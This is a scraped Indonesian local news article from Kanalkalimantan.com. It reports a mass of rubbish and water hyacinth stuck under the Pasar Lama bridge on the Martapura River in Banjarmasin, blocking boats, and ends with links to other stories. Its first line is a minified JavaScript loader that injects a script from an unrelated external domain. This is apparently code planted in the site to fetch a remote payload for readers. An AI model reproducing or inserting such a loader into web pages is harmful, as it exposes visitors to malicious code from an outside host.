(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemandangan Sungai Martapura di Kota Banjarmasin dibikin tak sedap tumpukan sampah bercampur eceng gondok tersangkut di bawah jembatan Pasar Lama Banjarmasin.
Pantauan Kanalkalimantan.com, Selasa (22/11/2022) siang, nampak tumpukan sampah seperti kayu, bambu dan plastik serta tanaman air eceng gondok tertahan di bawah jembatan.
Dikatakan Hermani, salah satu warga sekitar Pasar Lama, jika tumpukan tersebut telah ada sekitar dua hari yang lalu.
“Sudah dua hari tumpukan sampah dan eceng gondok ada di sana,” ujarnya.
Baca juga : Baznas HSU Salurkan Bantuan ke Korban Banjir
Dirinya juga mengatakan, tumpukan sampah dan eceng gondok yang menjadi satu menyerupai ‘pulau’ tersebut sudah sering terjadi di bawah jembatan Pasar Lama. Karena sampah kayu dan lainnya berasal dari bagian hulu Sungai Martapura terbawa arus sungai saat air sedang naik.
“Memang sering di sana seperti itu, kalau airnya naik atau banjir,” ujarnya.
“Itu sepertinya ada yang menghalangi, seperti bambu atau kayu, lalu sampahnya makin tebal, makanya tertahan di situ,” tambahnya.
Dari pantauan Kanalkalimantan.com pada Selasa (22/11/2022) sore, belum ada petugas yang membersihkan tumpukan ‘pulau’ sampah tersebut, meskipun dikatakan Efendi warga sekitar sudah ada pihak terkait yang melakukan pengecekan ke lokasi.
“Sudah ada pihak terkait yang cek ke sini, tapi sampai saat ini belum dibersihkan,” katanya.
Baca juga : Lima Pasar Kecamatan di Banjarbaru Masih Sepi Pedagang
Kondisi tersebut cukup menggangu arus lalu lintas transportasi air, seperti klotok atau perahu yang melintas di bawah jembatan Pasar Lama.
Padahal lokasi tumpukan sampah dan eceng gondok tersebut tidak jauh dengan objek wisata Siring Menara Pandang Kota Banjarmasin yang biasa dikunjungi wisatawan untuk menikmati susur sungai Martapura.
Terlihat klotok maupun perahu tidak bisa melewati jalur tengah bawah jembatan yang biasa menjadi akses utama dan terpaksa harus lewat jalur kiri atau kanan bawah jembatan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
This website uses cookies.